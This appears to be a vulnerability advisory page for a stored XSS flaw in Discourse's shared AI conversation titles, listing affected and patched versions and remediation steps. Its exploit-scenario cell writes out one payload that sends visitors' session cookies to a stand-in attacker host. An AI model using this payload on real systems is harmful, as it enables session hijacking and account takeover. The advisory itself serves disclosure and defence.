EUVD-2026-17549Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionGitHub Advisory
Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, an attacker with the ability to create shared AI conversations could inject arbitrary HTML and JavaScript via crafted conversation titles. This payload would execute in the browser of any user viewing the onebox preview, potentially allowing session hijacking or unauthorized actions on behalf of the victim. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0.
AnalysisAI
Stored cross-site scripting (XSS) in Discourse allows authenticated users with conversation creation privileges to inject arbitrary HTML and JavaScript via crafted AI conversation titles, executing malicious payloads in the browsers of users viewing onebox previews and potentially enabling session hijacking or unauthorized actions. Affects Discourse versions 2026.1.0 through 2026.1.2, 2026.2.0 through 2026.2.1, and 2026.3.0-beta; patched versions 2026.1.3, 2026.2.2, and 2026.3.0 are available. …
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Vulnerability AssessmentAI
| Risk Assessment | This vulnerability carries moderate real-world risk despite a CVSS score of 5.3 (Medium). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A malicious actor with valid Discourse credentials creates a shared AI conversation with a title containing a payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">'. When other users view the onebox preview of this conversation (e.g., in a chat message or post mentioning the link), the JavaScript executes in their browser context, exfiltrating session cookies or executing actions as the victim user. … |
| Remediation | Upgrade immediately to patched versions: Discourse 2026.1.3 or later for the 2026.1 branch, Discourse 2026.2.2 or later for the 2026.2 branch, or Discourse 2026.3.0 or later for the 2026.3 branch. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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